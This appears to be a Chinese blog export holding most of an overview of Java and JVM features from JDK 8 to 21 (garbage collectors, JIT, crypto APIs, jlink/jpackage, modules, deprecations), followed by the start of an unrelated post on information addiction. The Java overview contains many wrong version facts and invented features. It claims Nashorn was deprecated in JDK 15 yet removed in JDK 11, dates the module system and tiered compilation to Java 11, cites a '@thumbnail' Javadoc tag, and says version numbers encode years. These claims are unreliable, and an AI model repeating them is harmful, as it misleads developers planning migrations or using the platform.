虚拟机（JVM）和 Java 语言的性能，以满足日益增长的应用程序性能需求。这些改进包括内存管理、垃圾回收、即时编译器（JIT）优化、启动时间缩短等方面。\n内存管理和垃圾回收 内存管理和垃圾回收是 Java 性能改进中的关键领域。有效的内存管理确保了应用程序能够高效地使用内存资源，而垃圾回收机制则负责回收不再使用的对象，防止内存泄漏。\n弹性元空间\n在 JDK 8 中，元空间（Metaspace）被引入作为PermGen（永久代）的替代品，用于存储类的元数据。与PermGen不同，元空间在本地内存中分配，理论上不受堆大小的限制。然而，随着应用程序规模的增长，元空间的内存使用也成为一个关注点。为了解决这一问题，JDK 16 引入了弹性元空间，它允许元空间的内存使用更加动态和可控，减少了对系统内存的占用。\nG1 垃圾回收器\nG1（Garbage-First）垃圾回收器自 JDK 9 起成为默认的垃圾回收器。G1 是一种并行、增量、并发的垃圾回收器，旨在提供可预测的停顿时间模型，同时保持高吞吐量。G1 通过将堆划分为多个区域（Region）并跟踪每个区域的垃圾回收优先级来工作。它定期执行小型的回收任务，以减少应用程序的停顿时间。\nZGC 和 Shenandoah 垃圾回收器\nZGC（Z Garbage Collector）和 Shenandoah 垃圾回收器是两个实验性的垃圾回收器，它们在 JDK 11 及后续版本中作为实验特性提供。这两种回收器都旨在为大型堆（多达 4TB）提供低延迟的垃圾回收。ZGC 通过染色指针技术和并发标记周期来实现低延迟，而 Shenandoah 则通过并发标记和压缩来减少停顿时间。\nNUMA-Aware 内存分配\n随着多核处理器的普及，非一致性内存访问（NUMA）架构变得越来越常见。JDK 14 引入了 NUMA-Aware 内存分配，它允许 JVM 根据处理器的 NUMA 拓扑结构来优化内存分配，从而提高内存访问效率和整体性能。\n并行 Full GC 的改进\nJDK 10 中引入了并行 Full GC，它通过在 Full GC 过程中使用多个 GC 线程来提高垃圾回收的效率。这种改进显著减少了 Full GC 的停顿时间，特别是在处理大型堆或长时间运行的应用程序时。\n总结\n内存管理和垃圾回收的性能改进对于 Java 应用程序的稳定性和响应性至关重要。通过引入新的垃圾回收器、优化内存分配策略和提供更灵活的垃圾回收选项，Java 平台能够更好地适应不同类型和规模的应用程序。随着 Java 技术的不断发展，我们可以期待未来会有更多的内存管理和垃圾回收方面的创新，以满足日益增长的性能需求。\nJIT 编译器和运行时性能 Java 虚拟机（JVM）中的即时编译器（JIT）是 Java 性能优化的关键组件。JIT 编译器负责将字节码动态编译为本地机器码，以提高执行效率。随着 JDK 版本的迭代，JIT 编译器也在不断进化，引入了新的优化技术和特性，以提升运行时性能和编译效率。\nJIT 编译器的优化\nJIT 编译器的优化主要集中在减少编译时间和提高编译代码的质量上。这些优化包括更智能的编译触发策略、改进的热点检测算法、以及针对性能瓶颈的特定优化。\n分层编译：JDK 11 引入了分层编译的概念，它允许 JVM 在不同的编译层次之间进行选择，以平衡编译时间和运行时性能。例如，JVM 可以使用快速的低层次编译器来编译不经常执行的代码，而将更高层次的优化编译器用于热点代码。\n编译器探测：JDK 12 及后续版本中，编译器探测（也称为编译器引导）被引入，它允许 JVM 在运行时收集关于代码执行的更多信息，并使用这些信息来指导编译优化决策。\n代码缓存和重用：JVM 通过缓存编译后的代码来避免重复编译相同的代码，这在处理具有多个版本的应用程序时尤其有用。此外，JVM 还可以在类加载器之间重用编译后的代码，减少了编译开销。\n运行时性能监控和诊断工具\n为了帮助开发者更好地理解和优化 Java 应用程序的性能，JVM 提供了一系列的运行时监控和诊断工具。\nJava Mission Control（JMC）：JMC 是一个强大的性能分析工具，它可以收集和分析 JVM 的运行时信息，包括线程状态、内存使用情况和垃圾回收日志。\nFlight Recorder：Flight Recorder 是 JDK 11 中引入的一个轻量级事件记录框架，它可以在后台记录 JVM 的详细运行时事件，而对性能的影响非常小。开发者可以在需要时启动详细的事件记录，以进行性能分析。\nJVM 统计信息 API：JVM 统计信息 API（JVMS）提供了一组接口，允许应用程序查询 JVM 的运行时统计信息，如类加载次数、垃圾回收次数等。\n启动时间缩短\n启动时间是 Java 应用程序性能的一个重要方面，特别是在需要快速响应的场景中。从 JDK 9 开始，Oracle 致力于减少 JVM 的启动时间，通过优化类加载和初始化过程，以及减少启动时的 JVM 内部处理。\n应用类数据共享（Application Class-Data Sharing, ACDS）\nACDS 是 JDK 11 中引入的一个特性，它允许 JVM 在多个 Java 进程之间共享已编译的类数据。通过这种方式，JVM 可以减少启动时的编译工作量，从而缩短启动时间。\n快速应用启动（Fast Application Startup, FAS）\nFAS 是 JDK 11 中的一个项目，旨在通过减少类元数据的加载和优化 JVM 的内存布局来加快应用启动速度。虽然 FAS 项目的一些目标在 JDK 11 中并未完全实现，但它为后续版本的启动时间优化奠定了基础。\n总结\nJIT 编译器和运行时性能的优化是 Java 平台持续进步的重要组成部分。通过引入新的编译策略、监控工具和启动时间缩短技术，Java 能够为开发者提供更加高效和稳定的运行时环境。随着 Java 技术的不断发展，我们可以期待未来会有更多的性能优化特性，以满足日益增长的性能需求和挑战。\n安全改进的全面审视 Java 平台一直致力于提供安全可靠的编程环境，以保护用户和企业的数据安全。从 JDK 8 至 21，Java 的安全模型经历了一系列的改进，旨在提高安全性，防范新出现的威胁，并保持与现代安全标准和实践的一致性。\n加密和认证 API 加密和认证 API 是 Java 安全体系中的重要组成部分，它们为 Java 应用程序提供了数据加密、解密、签名和验证等安全操作的能力。随着技术的发展，Java 对这些 API 进行了更新和增强，以支持新的加密算法和满足更高的安全标准。\n新的加密算法和 API\nAES-GCM：JDK 11 中引入了对 AES-GCM（Galois/Counter Mode）的支持，这是一种用于块加密算法的高效和安全的模式，特别适合处理网络通信中的数据加密和认证。\nTLS 1.3：Java 11 开始支持 TLS 1.3，这是传输层安全协议的最新版本，提供了更强大的加密算法、更少的握手轮次和更好的隐私保护。\nSHA-3：随着安全需求的不断演进，JDK 9 引入了对 SHA-3（Secure Hash Algorithm 3）的支持，这是新一代的哈希函数，旨在替代原有的 SHA-2。\n密钥管理和证书处理\n密钥封装机制（KEM）API：JDK 21 中引入了密钥封装机制（Key Encapsulation Mechanisms）API，它提供了一种封装和解封装密钥的方法，这对于密钥交换和密钥管理非常重要。\n证书透明度（Certificate Transparency, CT）：Java 11 开始支持证书透明度 API，这是一种公开的、可审计的证书日志系统，用于监控和验证 SSL/TLS 证书的颁发。\n安全随机数生成器\nDRBG（Deterministic Random Bit Generator）：Java 11 中引入了基于 NIST SP 800-90A 标准的确定性随机比特生成器（DRBG），它提供了可预测的、高质量的随机数，适用于安全敏感的应用场景。 弃用和移除不安全的 API\n不安全的加密算法：随着安全意识的提高，Java 社区逐渐弃用了一些被认为是不安全的加密算法，如 DES 和 SHA-1，并推荐使用更安全的替代品。\n不安全的 SSL/TLS 协议：Java 11 开始弃用 SSL 和早期版本的 TLS 协议，鼓励开发者使用 TLS 1.3 或更高版本，以确保通信的安全性。\n总结\n加密和认证 API 的更新和增强是 Java 安全改进中的重要一环。通过引入新的加密算法、改进密钥管理和证书处理，以及提供更强大的随机数生成器，Java 平台能够更好地保护用户的数据安全和隐私。同时，通过弃用和移除不安全的 API，Java 鼓励开发者采用更加安全和现代的编程实践。随着 Java 技术的不断发展，我们可以期待未来会有更多的安全特性被引入，以应对不断变化的安全威胁和挑战。\n安全管理器和权限控制 在 Java 安全模型中，安全管理器（Security Manager）和权限控制（Access Control）扮演着至关重要的角色。它们确保了 Java 应用程序在一个受控的环境中运行，防止恶意代码访问敏感资源或执行危险操作。随着 Java 版本的更新，这些安全机制也在不断地得到加强和优化。\n安全管理器\n安全管理器是 Java 安全架构的核心组件，它负责执行安全策略，控制对系统资源的访问。通过安全管理器，Java 平台能够实施一系列的安全限制，如文件系统访问、网络连接和加密算法的使用。\n策略文件和权限：安全管理器通常与策略文件（如java.security）一起工作，这些文件定义了代码可以请求的权限。开发者可以根据需要自定义策略文件，以放宽或限制特定的权限。\n安全管理器的配置：在 JDK 9 中，安全管理器的配置方式发生了变化。java.security文件不再位于 JRE 的lib/security目录下，而是被jdk.security文件所取代，这使得安全管理器的配置更加模块化和灵活。\n权限控制\nJava 的权限控制机制允许开发者精确地控制代码的访问权限。这些权限可以是文件系统访问、网络操作、安全属性修改等。\njava.security.Permissions：这是一个用于定义和管理权限的类。开发者可以通过创建Permissions对象并将其传递给SecurityManager来设置应用程序的权限集。\njava.security.CodeSource：这个类用于表示代码的来源，包括 URL 和证书信息。它与权限控制紧密相关，因为安全管理器可以根据代码来源来授予或拒绝特定的权限。\n沙箱和 Applet API 的弃用\nApplet API 在 JDK 11 中被标记为弃用，并在 JDK 14 中被完全移除。Applet 提供了在浏览器中运行 Java 程序的能力，但由于安全问题和现代 Web 技术的发展，它已经不再被推荐使用。随着 Applet API 的弃用，Java 的沙箱模型也得到了重新评估，以确保 Java 应用程序的安全性。\n加强的 JVM 安全特性\nJVM 安全沙箱：JVM 本身提供了一个安全沙箱，限制了类加载器和类定义的权限。在 JDK 11 及后续版本中，这个沙箱得到了加强，以防止潜在的安全漏洞。\nJVM TI（Tool Interface）：JVM TI 提供了一组 API，允许监控和控制运行中的 Java 虚拟机。在 JDK 11 中，对 JVM TI 的访问受到了限制，以减少潜在的安全风险。\n总结\n安全管理器和权限控制是 Java 平台安全性的关键组成部分。通过不断更新和改进这些机制，Java 确保了应用程序在一个受控的环境中运行，保护了用户的数据和系统资源。随着 Java 技术的不断发展，我们可以期待未来会有更多的安全特性被引入，以应对不断变化的安全威胁和挑战。开发者应当关注这些更新，确保他们的应用程序遵循最新的安全最佳实践。\n启动和打包的新工具和方法 随着 Java 生态系统的发展，启动和打包应用程序的方式也在不断演进。为了满足现代应用程序对快速启动和部署的需求，Java 平台引入了一系列新的工具和方法，旨在简化开发流程，提高效率，并支持新的部署模式。\njlink 和 jpackage 工具\njlink（Java Linker）和 jpackage 是 Java 平台提供的新工具，它们使得创建定制的运行时映像和打包应用程序变得更加简单和高效。\njlink 工具\njlink 工具允许开发者创建一个定制的运行时映像（也称为“链接包”），这个映像包含了运行应用程序所需的最小化的 JVM 组件和应用程序代码。通过这种方式，开发者可以减少运行时的体积，提高启动速度，并减少对系统资源的占用。\n减少运行时体积：传统的 JRE（Java 运行时环境）包含了许多不常用的功能和组件，这使得其体积相对较大。使用 jlink，开发者可以选择性地包含必要的模块，从而生成一个更小的运行时映像。\n提高启动速度：较小的运行时映像意味着更少的加载时间，从而提高了应用程序的启动速度。\n定制化部署：jlink 提供了高度的定制化能力，开发者可以根据应用程序的特定需求来构建运行时映像，例如，包含特定的语言包或不包含某些不常用的功能。\njpackage 工具\njpackage 工具是 Java 14 中引入的，用于将 Java 应用程序打包为平台特定的安装包。这个工具支持多种操作系统，包括 Windows、macOS 和 Linux，能够生成如 MSI、EXE、PKG、Deb 和 RPM 等格式的安装包。\n一站式打包：jpackage 简化了打包流程，开发者只需一个命令就可以生成适用于目标平台的安装包。\n集成式安装：生成的安装包可以集成到操作系统的包管理器中，使得应用程序的安装、更新和卸载与操作系统的其他软件一致。\n支持多种平台：jpackage 支持跨平台打包，开发者可以使用相同的源代码生成适用于不同操作系统的安装包。\n使用示例\n以下是使用 jlink 和 jpackage 工具的基本示例：\n1# 使用 jlink 创建定制的运行时映像 2jlink --module-path \u0026lt;path-to-jdk\u0026gt;/jmods \\ 3 --add-modules java.base,java.desktop \\ 4 --output \u0026lt;output-directory\u0026gt; 5 6# 使用 jpackage 打包应用程序 7jpackage --type exe \\ 8 --input \u0026lt;application-directory\u0026gt; \\ 9 --runtime-image \u0026lt;path-to-runtime-image\u0026gt; \\ 10 --name \u0026lt;application-name\u0026gt; \\ 11 --main-jar \u0026lt;main-jar-file\u0026gt; \\ 12 --main-class com.example.Main 在上述示例中，我们首先使用 jlink 创建了一个只包含必要模块的运行时映像，然后使用 jpackage 将应用程序打包为 Windows 平台的 EXE 安装文件。\n总结\njlink 和 jpackage 工具的引入，为 Java 应用程序的部署提供了更多的灵活性和便捷性。通过这些工具，开发者可以创建定制化的运行时映像和平台特定的安装包，从而满足不同场景下的部署需求。随着 Java 平台的不断发展，我们可以期待未来会有更多的工具和方法来支持现代化的应用程序部署。\nJigsaw 项目和模块系统 Jigsaw 项目是 Java 发展史上的一个重要里程碑，它的目标是将 Java 平台模块化，从而提高 Java 应用程序的性能、安全性和可维护性。Jigsaw 项目的核心是引入了 Java 模块系统（也称为 Project Jigsaw），这是 Java 11 中的一个重要特性。\n模块化的好处\n模块化带来了多个好处，包括：\n更清晰的依赖关系：模块系统强制定义了包和模块之间的依赖关系，使得依赖更加明确，减少了类路径冲突的可能性。\n更好的封装：模块可以隐藏其内部的实现细节，只暴露必要的 API，从而保护了应用程序的核心代码不被外部直接访问。\n更高效的类加载：模块系统允许 JVM 有选择地加载和卸载模块，这不仅减少了内存占用，还提高了应用程序的启动速度。\n更灵活的版本管理：模块化使得单独的模块可以独立更新和维护，而不会影响到整个应用程序。\n模块系统的基本概念\nJava 模块系统基于以下几个基本概念：\n模块（Module）：一个模块是一个包含相关类和资源的容器。模块通过module声明来定义，并在module-info.java文件中指定。\n依赖（Requires）：模块之间通过requires声明来表达依赖关系。一个模块可以依赖其他模块，并使用这些模块提供的 API。\n导出（Exports）：模块可以导出包，使得其他模块可以使用这些包中的类。导出关系通过exports声明来定义。\n打开（Opens）：模块可以打开包，允许其他模块访问其内部的类。这通常用于模块间的服务提供者和使用者关系。\n模块系统的使用\n在 Java 11 及以上版本中，开发者需要使用模块系统来构建应用程序。以下是一个简单的模块化应用程序的例子：\n1// module-info.java 2module com.example.myapp { 3 requires com.example.commons; 4 requires java.sql; 5 6 exports com.example.myapp to com.example.commons; 7 opens com.example.myapp.internal to com.example.commons; 8} 在这个例子中，我们定义了一个名为com.example.myapp的模块，它依赖于com.example.commons模块和 Java 标准库中的java.sql模块。我们还导出了com.example.myapp包给com.example.commons，并打开了com.example.myapp.internal包给com.example.commons。\n总结\nJigsaw 项目和模块系统的引入标志着 Java 平台在模块化方面的重大进步。模块化不仅提高了代码的组织性和可维护性，还为 Java 应用程序的性能和安全性带来了显著的提升。随着 Java 平台的不断发展，模块系统将继续演进，为开发者提供更多的灵活性和控制力。开发者应当熟悉模块化的概念和最佳实践，以便充分利用这一特性。\nJavadoc 和字节码的更新 随着 Java 语言和平台的发展，Javadoc 工具和字节码规范也在不断进化，以适应新的编程实践和性能需求。这些更新对于开发者来说至关重要，因为它们影响着代码的文档化、兼容性和执行效率。\nJavadoc 的现代化 Javadoc 是 Java 开发者用来生成 API 文档的重要工具。在 Java 9 中，Javadoc 工具经历了一次重大更新，引入了多项新特性和改进。\n新的文档标签和工具特性\n@thumbnail标签：这个新标签允许开发者在 Javadoc 中嵌入小型图像，增强了文档的可读性和直观性。\n@implSpec和@implNote标签：这两个标签分别用于描述实现的意图和注意事项，提供了一种标准化的方式来记录实现细节。\nJavadoc 预览特性：Java 9 引入了预览特性的概念，允许开发者尝试即将推出的 Javadoc 新特性。\nHTML5 和搜索功能的引入\nJavadoc 工具现在支持 HTML5，这意味着生成的文档可以利用现代 Web 技术，提供更好的跨设备兼容性和用户体验。此外，Javadoc 输出现在包括一个搜索框，允许用户快速查找 API 文档中的类、方法和属性。\n字节码的改进和新增 Java 虚拟机（JVM）的字节码指令集和属性也在不断演进，以支持新的语言特性和性能优化。\n动态类生成的改进\n随着 Java 语言和 API 的发展，动态生成类的能力变得更加重要。例如，Java 9 引入了java.lang.invoke.MethodHandle的新方法，使得动态类生成更加高效和灵活。\n新增的字节码指令和属性\ninvokedynamic指令：这个指令已经在 Java 7 中引入，用于动态解析方法调用，支持动态语言和框架，如 Project Panama。\n新增的类文件属性：Java 11 中引入了新的类文件属性，如Module和ModulePackages，它们与 Java 模块系统相关联，用于存储模块化的元数据。\n新增的 Code Attribute：Java 11 还引入了新的 Code Attribute，如StackMapTable，用于增强 JVM 的类型检查和安全性。\n总结\nJavadoc 和字节码的更新反映了 Java 平台对现代软件开发需求的响应。Javadoc 的现代化改进使得 API 文档更加丰富和易用，而字节码的增强则为 Java 语言的新特性和性能优化提供了支持。开发者应当关注这些更新，以便更好地利用 Java 平台提供的工具和特性。随着 Java 技术的不断发展，我们可以期待未来会有更多的创新和改进，进一步丰富 Java 生态系统。\n新支持的平台和版本方案 随着技术的发展和市场需求的变化，Java 平台不断扩展其对新硬件和操作系统的支持。这些更新确保了 Java 应用程序能够在更广泛的设备和环境中运行，同时保持了跨平台兼容性。\n跨平台支持和兼容性 Java 的核心优势之一是其跨平台性，这意味着在不同操作系统和硬件上运行的 Java 虚拟机（JVM）能够提供一致的运行时环境。为了维持这一优势，Java 开发团队持续对 JVM 进行优化，以支持新的处理器架构和操作系统版本。\n新增平台的支持情况\n在 JDK 8 至 21 的版本中，Java 增加了对多个新平台的支持，包括但不限于：\nLinux/RISC-V：随着 RISC-V 开源处理器架构的兴起，Java 在 JDK 19 中增加了对 Linux/RISC-V 的支持，为开发者在这一新兴平台上构建 Java 应用程序提供了可能。\nmacOS/AArch64：随着 Apple 转向自家设计的 ARM 架构处理器，Java 在 JDK 17 中增加了对 macOS/AArch64 的支持，确保了 Java 应用程序能够在新的 Mac 设备上运行。\nWindows/AArch64：同样，为了支持 Windows 操作系统上的 ARM 架构，Java 也在 JDK 16 中增加了对 Windows/AArch64 的支持。\n版本兼容性和升级指南\n为了帮助开发者平滑过渡到新版本，Java 提供了详细的版本兼容性指南。这些指南涵盖了从旧版本迁移到新版本的各个方面，包括 API 变更、废弃特性和新的模块系统。开发者可以参照这些指南来更新他们的应用程序，以利用新版本的特性和性能改进。\n版本命名方案的变更 Java 的版本命名方案在 JDK 9 中经历了重大变化。在此之前，Java 的版本号遵循主版本号。次版本号的模式（例如，1.8 表示 JDK 8）。从 JDK 9 开始，Java 采用了新的命名方案，其中版本号包括了年份和更新次数（例如，9 表示 2017 年的更新版本）。\n新版本命名的逻辑\n新版本命名的逻辑旨在简化版本号的管理，并与 Java 的发布节奏保持一致。每个版本号都反映了它发布的时间，这使得开发者和用户能够更容易地了解他们使用的 Java 版本相对于其他版本的年龄。\n版本迭代的速度和周期\n自 JDK 9 以来，Java 的版本迭代速度加快，每六个月发布一个新的版本。这种快速迭代的模式使得 Java 能够更快地引入新特性和改进，同时也意味着开发者和用户需要更频繁地更新他们的 Java 环境。为了适应这种快速迭代，Java 也引入了长期支持（LTS）版本，这些版本会得到更长时间的支持和维护，适合需要稳定性和长期支持的企业级应用。\n总结\n新支持的平台和版本方案的变更体现了 Java 对不断变化的技术环境的适应性。通过增加对新硬件和操作系统的支持，Java 确保了其跨平台优势的持续存在。同时，新的版本命名方案和快速迭代模式使得 Java 能够更快地响应开发者的需求，推动 Java 生态系统的持续发展。开发者应当关注这些变化，以确保他们的应用程序能够充分利用 Java 平台的最新特性和改进。\n弃用和移除的特性 随着 Java 平台的发展，某些旧特性可能会因为安全问题、更好的替代方案或者技术进步而变得过时。为了保持语言的现代化和高效性，Java 开发团队会定期审查和弃用这些特性，并在适当的时候将其移除。这一过程需要仔细的规划和透明的沟通，以确保开发者有足够的时间来适应变化。\n弃用列表和未来展望 Java 社区维护了一个详细的弃用特性列表，这个列表随着每个新版本的发布而更新。开发者可以通过查阅这个列表来了解哪些特性已被弃用，以及它们的未来状态。\nJava EE 的移除：Java 企业版（Java EE）在 JDK 11 中被移除，转而作为独立的 Eclipse 项目继续发展。\nCORBA 模块的移除：Java 的 CORBA 支持在 JDK 11 中被移除，因为这项技术的使用已经变得较少。\nNashorn JavaScript 引擎的移除：在 JDK 15 中，Nashorn JavaScript 引擎被标记为弃用，并在 JDK 11 中被完全移除。\n移除特性的影响和替代方案\n移除特性会对依赖这些特性的应用程序产生影响。因此，Java 提供了替代方案，以帮助开发者平滑过渡到新的技术。\nJava EE 的替代方案：对于 Java EE 的替代，开发者可以转向 Spring Boot、Quarkus 等现代框架，它们提供了类似的功能，并且更加轻量级和灵活。\nCORBA 的替代方案：对于需要 RPC（远程过程调用）的开发者，可以考虑使用 gRPC 或 RESTful 服务。\nNashorn 的替代方案：对于需要在 Java 中执行 JavaScript 的开发者，可以考虑使用 GraalVM 的 JavaScript 引擎。\n向后兼容性的挑战\n向后兼容性是 Java 平台的一个重要原则，它确保了旧代码在新版本中仍然能够正常运行。然而，移除特性的决定可能会对向后兼容性造成挑战。\n向后兼容性的策略\n为了最小化对现有应用程序的影响，Java 开发团队采取了一系列策略：\n清晰的弃用周期：Java 提供了清晰的弃用周期，通常在特性被完全移除之前会有一个警告期。\n提供替代方案：Java 努力为每个被弃用的特性提供替代方案，以帮助开发者进行迁移。\n逐步移除：对于大型特性，Java 可能会逐步移除，先将其标记为弃用，然后在后续版本中完全移除。\n开发者如何应对弃用和移除 开发者应当密切关注 Java 社区的更新和公告，了解哪些特性正在被弃用或计划被移除。对于正在使用的弃用特性，开发者应该：\n评估影响：分析应用程序中使用弃用特性的代码，评估迁移的成本和影响。\n制定迁移计划：根据评估结果，制定详细的迁移计划，包括时间表和技术路线。\n测试和验证：在迁移到新特性或替代方案后，进行充分的测试以确保应用程序的功能和性能。\n更新文档和培训：更新内部文档，并为团队成员提供必要的培训，以确保所有人都了解新的变化。\n通过这些措施，开发者可以确保他们的应用程序能够适应 Java 平台的变化，同时保持高效和稳定。\n总结 在对 Java 平台从 JDK 8 至 21 的演进进行深入探讨后，我们可以总结出几个关键点，这些点不仅展示了 Java 语言和生态系统的发展，也为开发者提供了未来工作的方向和策略。\n语言特性的进步 Java 语言在这段时间里经历了显著的增强，包括引入了函数式编程概念、模式匹配、未命名变量和模式、封闭类和记录类等。这些新特性不仅丰富了 Java 的表达能力，也使得代码更加简洁、可读性更强，同时提高了开发效率。\nAPI 的扩展和更新 Java 标准库的扩展和更新为开发者提供了新的工具和能力。集合和数学函数 API 的增强、文件和 IO 操作的改进、网络编程的新特性以及安全管理器和权限控制的更新，都使得 Java 应用程序能够更好地处理复杂的任务和安全挑战。\n性能和资源管理的优化 Java 虚拟机的性能和资源管理一直是 Java 开发的重点。JIT 编译器的优化、垃圾回收器的进步、内存管理和启动时间的改进，都显著提高了 Java 应用程序的运行效率和用户体验。\n模块化和跨平台支持 Jigsaw 项目的完成和模块系统的引入，标志着 Java 平台在模块化方面取得了重大进展。这不仅提高了 Java 的内在质量和可维护性，也简化了应用程序的部署和分发。同时，Java 对新平台的支持，如 RISC-V 和 AArch64，确保了 Java 在多样化的计算环境中的持续相关性。\n向后兼容性的维护 Java 社区对向后兼容性的承诺保证了新版本可以无缝地与现有代码库协同工作。尽管一些特性被弃用或移除，但 Java 提供了清晰的路线图和替代方案，以帮助开发者平滑过渡。\n未来展望 随着 Java 的不断发展，我们可以预见到更多的创新和改进。新的语言特性、API 和性能优化将继续出现，以适应新的编程范式和技术趋势。同时，Java 社区将继续致力于提高平台的安全性、可维护性和用户友好性。\n对于开发者来说，保持对 Java 新特性和最佳实践的了解至关重要。通过不断学习和适应变化，开发者可以确保他们的技能和应用程序保持最新，从而在不断变化的技术环境中保持竞争力。随着 Java 生态系统的不断壮大，Java 将继续作为企业级应用程序和现代云服务的坚实基础，引领软件开发的未来。\n","date":"2024-03-15T16:48:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-03-15-java-he-jvm-zi-jdk-8-zhi-21-de-te-xing-gai-lan/cover.jpg","permalink":"/p/2024-03-15-java-he-jvm-zi-jdk-8-zhi-21-de-te-xing-gai-lan/","title":"Java 和 JVM 自 JDK 8 至 21 的特性概览"},{"content":" “\n“成瘾是一种脑部疾病，其特征是强迫性地参与奖励刺激，尽管有不良后果。”\n什么是信息成瘾？ 信息成瘾是一种由不负责任地消费信息引起的疾病，尤其是强迫性消费。\n不断地刷新微博，即使你已经看过了所有内容。 关了抖音又立即再次打开它。 每五分钟拿起你的手机看有没有新的消息，不断分心期待它们，以及当手机不在你身边时你感到的焦虑。 当有新消息时，你会有紧迫感并且兴高采烈。 不断自恋地查看新发布的朋友圈有没有人点赞 偶尔想看会儿书，最终却刷了 2 小时短视频 迫不及待地打开今日头条想了解世界上发生了什么事，你对世界上发生了什么事情而自己不知道感觉很焦虑 当你经历过这一切后，总结来说，你感觉到不舒服和不满意，明知道浪费了时间深深自责的同时又无法控制，“下次一定” 永远停留在下一次。\n你的灵魂在哭泣，就像被拴在一只绕圈跑的老鼠身上。\n这有点像食物 吃饭是生活的现实，处理信息也是如此。你也无法避免，但如果你和他们的关系不好，他们会毁了你。\n在许多方面，信息比食物更危险。选择吃饭需要努力 —— 你必须走到厨房、点菜或去购物。信息毫不费力。附近总有一个屏幕。\n食物还有一个明显的身体后果：吃的太多，你会立即感到恶心，从长远来看，你会变得肥胖。信息会让你的大脑一片狼藉，但这更容易被忽视，甚至在一个以信息为常态的社会中被接受。\n现在，我们越来越依赖信息，我们与越来越令人上瘾和危险的信息源互动。\n识别你何时被条件反射的卑鄙本能拖累，是一项越来越重要的生存技能。\n当你吃饱时，你不会再吃掉两个蛋糕。你的饮食不仅仅是垃圾食品。你也可以学会负责任地使用信息。\n信息成瘾的影响 它消耗了您的时间和精力 它分散了你的注意力，使你永远分心，剥夺了你的注意力，使你更难追求复杂和深层。 它麻痹了你的生活体验，让你对你的现实互动不那么关心和感觉。 它把你塑造成一个冲动行事的人，并让你在行动中放弃独立思考和自主判断 根据你的 “偏好”，它会加强你的认知缺陷和偏见 它大大助长了悲观主义、抑郁、厌世、宿命论和虚无主义。 你是否沉迷于信息？ 信息成瘾会让你麻木到感觉不到它影响的地步，因为感觉的能力会枯萎。\n因果关系 如果你的生活看起来很严峻；如果你的财务状况很糟糕，很难找到工作，感觉无能为力，或者如果你生活中的某些东西限制了你，信息成瘾对逃避现实是非常有吸引力的。\n随着信息成瘾的加深，你对个人健康（卫生、睡眠、食物、运动）、家务（清洁、整理、购物）和金钱的追求都会逐渐忽视，对于所有延迟回报的事情都不看好。\n你的思想被一百个小声音所支配，吵着要他们最喜欢的东西，你失去了对自己的掌控。\n屏幕，无处不在 这就像试图在打火机和香烟散落一地的房子里戒烟一样。这是一个疯狂的要求，所以，要让屏幕成为你生活中的一小部分，而不是一大部分。\n疲惫 你有可能忙了一天，终于有一段休息的时间时，会拿起手机 “放松” 一下，这时候你疲惫的大脑更加无法抵御信息成瘾这样的问题。\n你需要有一个合理的心态来处理这些东西。这意味着要抽出平静、休息的时间。尽你所能。但你也不需要对这些东西绝对化，就像我们虽然也追求良好的饮食习惯，但偶尔吃一顿垃圾食品也没什么大不了的。\n人际关系 逐渐减少使用可以让你从更少的信息成瘾中受益，同时优雅地减少你的连接状态\n与他人共度时光是我们社交的核心。信息成瘾习惯可能会使你远离与朋友共度时光，而缺乏可以共度时光的人可能会将你推向信息成瘾。\n信息成瘾会麻木和分散注意力，以至于缺乏联系的痛苦不那么严重。\n心理 注意力碎片化 注意力碎片化是一种生物，当你花太长时间被通知等事物打断时，它就会诞生。\n最终，你进入了一种永久分心的状态，在这种状态下，你大脑的大部分内容不断地期待（兴奋或恐惧）下一次中断。你有限的同时处理能力储备被这些客人耗尽了，这就是焦虑让你失去理智的原因，并使你更有可能做出低质量的决定。\n体验性麻木 体验性麻木有点远，但如果你到目前为止一直在点头，我怀疑你会知道我在说什么。\n你每天有有限的高质量精神能量储备。如果你把很大一部分时间花在一种破坏性的、信息成瘾上，你就会感到麻木，因为这种储备已经耗尽了。如果你一直透支它，你就会逐渐失去补充它的能力。这需要很长时间才能愈合。\n你可能会丧失惊奇、喜悦、悲伤、生动、自发和创造力。你周围的世界失去色彩并不是因为它自己的错。在多年的时间里，你花在各种引人注目的信息水龙头上，只关心下一个点击，你失去了欣赏世界的敏感性。\n这是一个很难描述的问题，因为损害是微妙的和渐进的，就像温水煮青蛙一样。\n大多数患者没有意识到或关心他们患有这种疾病。也许事情变得无聊得更快，你已经远离了对事物的内在敬畏。并且你已经习惯了。\n感到不知所措 信息洪流是无情的。这会在不同的人身上产生不同的东西。\n有些人 “正面” 迎接它，将大量时间用于确保他们尽可能多地消费，这样他们就不会被抛在后面。这是通往注意力碎片化和体验麻木的快速途径。\n有些人试图经受住或扭转潮流，但可能仍然在保持理智和放弃理智之间挣扎。\n无论你是哪一种， 都不是一种健康的体验。\n缺陷和偏见 灾难偏见。危险使我们振作起来。仅凭这种偏见就解释了悲观主义的流行，在这个世界上，从数字上看，情况比以往任何时候都好：媒体卷入了一场争夺我们注意力的竞赛，依靠 “一切都很糟糕” 是他们最好的武器之一。 其他偏见。在通过我们与群体中其他人的相似性来定义我们的从属关系时，我们也定义了存在于它之外的人。对这些其他人感到非理性的恐惧或蔑视是很容易做到的。渴望权力的政客和渴望观点的媒体依靠这一点来让我们顺从。 +1 偏见。无论是点赞、转发、收藏、100 金币还是 20 颗宝石，大脑中一个奇怪的部分都喜欢看到好数字上升。如果你曾经玩过点击游戏，你就会知道这个兔子洞的可利用性有多深。社会的风气倾向于虚荣，他们都在颂扬贪婪。 连接喜爱。我们是群居动物。这是一种需要。断开连接很糟糕。这种对联系的渴望被大多数社交媒体平台所利用，你可以争辩说它们确实提供了一些有价值的东西 —— 但这是一种苍白的、淡化的联系，而且它是一种经常被不道德地使用的钩子。 确认偏见。与 + 1 偏差和连接偏差是亲兄弟，我们喜欢被告知我们做得很好。社交 “点赞” 机制正是击中了这一点，但任何形式的祝贺性语言也有同样的效果。这可能是推动社交媒体增长的主要因素之一。当它变成了一个自为目的的终点时，就变得代价高昂，它让我们恰好去做那些能获得最多确认的事情 —— 创造出我们居住其中的不真实的角色，而这些角色反过来又加剧了我们的不足感 相关性偏差。你已经知道你在意的事情更可能引起你的兴趣。这可能听起来无害，但是那些旨在 “最大化相关性” 的系统会产生过滤泡沫，这使得我们只能听到来自狭小领域、人群，尤其是文化价值观的信息。 